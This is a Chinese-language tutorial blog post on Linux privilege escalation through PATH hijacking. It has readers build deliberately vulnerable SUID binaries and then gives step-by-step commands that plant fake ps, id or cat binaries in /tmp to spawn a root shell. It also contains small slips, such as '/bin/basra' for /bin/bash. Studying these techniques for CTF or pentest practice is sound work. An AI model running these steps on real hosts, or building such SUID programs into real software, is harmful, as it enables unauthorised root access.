使用PATH变量进行Linux权限升级技巧

忘是亡心i 2024-04-07 10:53 33阅读 0赞

### **0x00 前言** ###

在解决了几个OSCP挑战之后，我们决定写一篇关于用于Linux权限升级的各种方法的文章，这对我们的读者在其渗透测试项目中有所帮助。在本文中，我们将学习“使用$path变量的各种方法”以获得远程主机的root访问权限，以及CTF挑战所使用的技术，以生成导致权限提升的$path漏洞。如果你已经解决了CTF后利用的挑战，那么通过阅读本文，您将认识到导致权限提升的几个漏洞。

### **0x001 PATH变量介绍** ###

PATH是Linux和Unix操作系统中的环境变量，它指定存储所有可执行程序的所有bin和sbin目录。当用户在终端上运行任何命令时，它请求shell在path变量的帮助下搜索可执行文件，以响应用户执行的命令。超级用户通常还具有/sbin和/usr/sbin权限，以便轻松执行系统管理命令。

借助echo命令查看相关用户的路径非常简单。

echo $PATH
    
    /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

如果你注意到'.'符号,那么在环境PATH变量中，它意味着已登录的用户可以从当前目录执行二进制文件和脚本，这对于攻击者提升root权限是一种很好的技术。这是由于在编写程序时缺乏注意，因此管理员没有指定程序的完整路径。

### **0x03 PATH变量提权方法一** ###

#### **1.Ubuntu实验设置** ####

目前，在/home/raj目录中，我们将在其中创建一个以名称作为脚本的新目录。现在在脚本目录中，我们将编写一个小的C程序来调用系统二进制文件的函数。

pwd
    mkdir script
    cd script
    nano demo.c

![a1ffb7c5880be275c7f5e2ee9acf765d.png][]

正如您在demo.c文件中所看到的那样，我们正在调用ps命令(进程状态)，它是系统二进制文件。

![9bc96dae264c2f87ae3e19c57fcb3a7b.png][]

然后使用gcc编译demo.c文件，并将suid权限提升到编译文件

ls
    gcc demo.c -o shell
    chmod u+s shell
    ls -la shell

![f667e5b223f830f4679ad46fc368cd39.png][]

#### **2.权限提升** ####

首先，您需要攻击目标系统，然后进入到权限提升阶段。假设您使用普通用户通过ssh成功地登录到受害者的主机。然后在没有浪费时间的情况下，在Find命令的帮助下搜索具有SUID或4000权限的文件。

find / -perm -u=s -type f 2>/dev/null

因此，在上述命令的帮助下，攻击者可以枚举任何可执行文件，这里我们还可以看到/home/raj/script/shell具有suid权限。

![cefcab4100a647e0c50a59b61f479303.png][]

然后，我们进入/home/raj/script目录中并看到一个可执行文件“shell”。所以我们运行这个文件，在这里看起来这个文件正在尝试运行ps，这是/bin中的一个真实文件，用于获取进程状态。

ls
    ./shell

![59fdf0aabdb48dd9146afa46d335ce6d.png][]

##### (1) echo命令：第一种生成root权限的技术 #####

cd /tmp
    echo "/bin/bash" > ps
    chmod 777 ps
    echo $PATH
    export PATH=/tmp:$PATH
    cd /home/raj/script
    ./shell
    whoami

![75e60453806548720e3e10464304c5ef.png][]

##### **(2)复制命令-第二种生成root权限的技术** #####

cd /home/raj/script/
    cp /bin/sh /tmp/ps
    echo $PATH
    export PATH=/tmp:$PATH
    ./shell
    whoami

![359310709fa7d9ab376222a99acab8a4.png][]

##### **(3)symlink命令-第三种生成root权限的技术** #####

ln -s /bin/sh ps
    export PATH=.:$PATH
    ./shell
    id
    whoami

**注意：**symlink也称为符号链接，如果目录具有执行权限，它将成功运行。在Ubuntu中有symlink的情况下，我们已将/script目录赋予777权限

因此，我们看到攻击者可以使用环境变量PATH来提升权限并获得root访问权限。

![8fdb9168cd946caa8be5a6bea6aaeec8.png][]

### **0x04 PATH变量提权方法二** ###

#### **1.Ubuntu实验设置** ####

重复上面相同的步骤来配置你自己的实验，现在在脚本目录中，我们将编写一个小的c程序来调用系统二进制文件的函数。

pwd
    mkdir script
    cd /script
    nano test.c

正如您在我们的test.c文件中看到的那样，我们正在调用id命令，即系统二进制文件。

![382cfb5bc779903634efe180e3170f06.png][]

然后使用gcc编译test.c文件，并将suid权限提升到编译后的文件

ls
    gcc test.c -o shell2
    chmod u+s shell2
    ls -la shell2

![18e8a045bc25a357fb595cba7c116fa0.png][]

#### **2.权限提升** ####

同样，您需要攻击目标系统，然后进入到特权提升阶段。假设您使用普通用户通过ssh成功地登录到受害者的主机。然后在没有浪费时间的情况下，在Find命令的帮助下搜索具有SUID或4000权限的文件。在这里，我们还可以看到/home/raj/script/shell2是否具有suid权限。

find / -perm -u=s -type f 2>/dev/null

然后我们进入/home/raj/script目录，并看到一个可执行文件“shell2”。所以我们运行这个文件，看起来shell2正在尝试运行id，这是/bin中的一个真实文件。

cd /home/raj/script/
    ls
    ./shell2

![7d973a56931b0fad93fe75e7d9dbedf3.png][]

##### **(1) Echo命令** #####

cd /tmp
    echo "/bin/bash" > id
    chmod 777 id
    echo $PATH
    export PATH=/tmp:$PATH
    cd /home/raj/script
    ./shell2
    whoami

![6633fee9080c2880e858dbaf9a72faf2.png][]

### **0x05 PATH变量提权方法三** ###

#### **1.Ubuntu实验设置** ####

重复以上步骤来设置自己的实验，正如您在raj.c文件中看到的那样，我们调用cat命令从etc/passwd文件内读取其内容。

![1174c0f93f5fe49e5634c66113641542.png][]

然后使用gcc编译raj.c文件，并将suid权限提升到编译后的文件。

ls
    gcc raj.c -o raj
    chmod u+s raj
    ls -la raj

![baa99437bac16b1ce70a2017965ecf0d.png][]

#### **2.权限提升** ####

再次攻击受害者的系统，然后进入权限升级阶段，执行以下命令查看sudo用户列表。

find / -perm -u=s -type f 2>/dev/null

在这里我们还可以看到/home/raj/script/raj拥有suid权限，然后我们进入/home/raj/script目录，并看到一个可执行文件“raj”。因此，当我们运行这个文件时，它将会查看到etc/passwd文件的内容。

cd /home/raj/script/
    ls
    ./raj

![29bc231a6fcfdb720539f019e983756a.png][]

##### **(1) Nano Editor：第四种权限提升技术** #####

cd /tmp
    nano cat

现在，当终端打开并输入/bin/basra，然后进行保存

![e8b44626b030fac54b58b71b0a11e50d.png][]

chmod 777 cat
    ls -al cat
    echo $PATH
    export PATH=/tmp:$PATH
    cd /home/raj/script
    ./raj
    whoami

![7850a2325b54ce1ee2d0391f2248abe3.png][]

### **0x06 PATH变量提权方法四** ###

#### **1.Ubuntu实验设置** ####

重复上面的步骤来设置你自己的实验，正如您在demo.c文件中看到的那样，我们调用cat命令来读取msg.txt内容，该文件在/home/raj中，但实际在/home/raj中没有这样的文件。

![4903a17dcfcf325ccf282c1c45b5e82b.png][]

然后使用gcc编译demo.c文件，并将SUID权限提升到编译后的文件

ls
    gcc demo.c -o ignite
    chmod u+s ignite
    ls -la ignite

![de38f0a8b8b8bb46e38e725a98acfeef.png][]

#### **2.权限提升** ####

再次攻击受害者的系统，然后进入到权限升级阶段，执行以下命令查看sudo用户列表。

find / -perm -u=s -type f 2>/dev/null

在这里，我们还可以看到/home/raj/script/ignite拥有suid权限，然后我们进入/home/raj/script目录，并看到一个可执行文件“ignite”。所以当我们运行这个文件时，它会输出错误“cat:/home/raj/msg.txt”作为结果。

cd /home/raj/script/
    ls
    ./ignite

![36880b5f2f97b6873a817e0ee2faaed2.png][]

##### **(1) vi编辑器-第五种权限提升技术** #####

cd /tmp
    vi cat

现在，当终端打开并输入/bin/basra，然后进行保存

![778479c6f520a69812adaed9efb666fe.png][]

chmod 777 cat
    echo $PATH
    export PATH=/tmp:$PATH
    cd /home/raj/script
    ./ignite
    whoami

![d8e6c27c7c5f3f5714a2d6b884a2beeb.png][]

[a1ffb7c5880be275c7f5e2ee9acf765d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/bd7347f52f6d4dd4b2045a93507b64d6.png
[9bc96dae264c2f87ae3e19c57fcb3a7b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/67e34bdff9fc432daf35d54cdb38ede2.png
[f667e5b223f830f4679ad46fc368cd39.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/234217fc6cfd46c2b5705307e25ae25b.png
[cefcab4100a647e0c50a59b61f479303.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/c1b807c8332a4a48b3cb44ba0a90d69f.png
[59fdf0aabdb48dd9146afa46d335ce6d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/bcb4e00222f1472c9eeee3cbec0e7e69.png
[75e60453806548720e3e10464304c5ef.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/5ae2ebce3ed9479ca0bd749aa1ba5b7f.png
[359310709fa7d9ab376222a99acab8a4.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/f592998606594a958560f71493bd12fc.png
[8fdb9168cd946caa8be5a6bea6aaeec8.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/f2e1cc8a215b49f3883127d125e899ee.png
[382cfb5bc779903634efe180e3170f06.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/9256f797653847a08707f49252b4991b.png
[18e8a045bc25a357fb595cba7c116fa0.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/c49a4cd27a514a2e9c0953a821482f74.png
[7d973a56931b0fad93fe75e7d9dbedf3.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/5b1e03d71b2a47878a91c6161d1ff469.png
[6633fee9080c2880e858dbaf9a72faf2.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/a0242d29bfa04925a8da8bcb02d365d9.png
[1174c0f93f5fe49e5634c66113641542.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/faee1d3d380f48d1a4cbdaf4c5f2ec0a.png
[baa99437bac16b1ce70a2017965ecf0d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/3ff7c1ae3a204ae89f8dd8af37317465.png
[29bc231a6fcfdb720539f019e983756a.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/206bc64791db4217bbaf69b2455cd3fe.png
[e8b44626b030fac54b58b71b0a11e50d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/efd1dd2855fd4203bab592a7d2ab5b3b.png
[7850a2325b54ce1ee2d0391f2248abe3.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/04517c3357934045b1bb73534771ed24.png
[4903a17dcfcf325ccf282c1c45b5e82b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/460412bc948945d7b5aef0b806caa026.png
[de38f0a8b8b8bb46e38e725a98acfeef.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/491f0d55915d46cf9304a12ee9ee343c.png
[36880b5f2f97b6873a817e0ee2faaed2.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/58ed3518901a4eb8827b7234a0263fbe.png
[778479c6f520a69812adaed9efb666fe.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/e261eb1679db4e39972f20bcdba803ca.png
[d8e6c27c7c5f3f5714a2d6b884a2beeb.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/f2dc0f6d86094b2c8c5e6d5439587cfc.png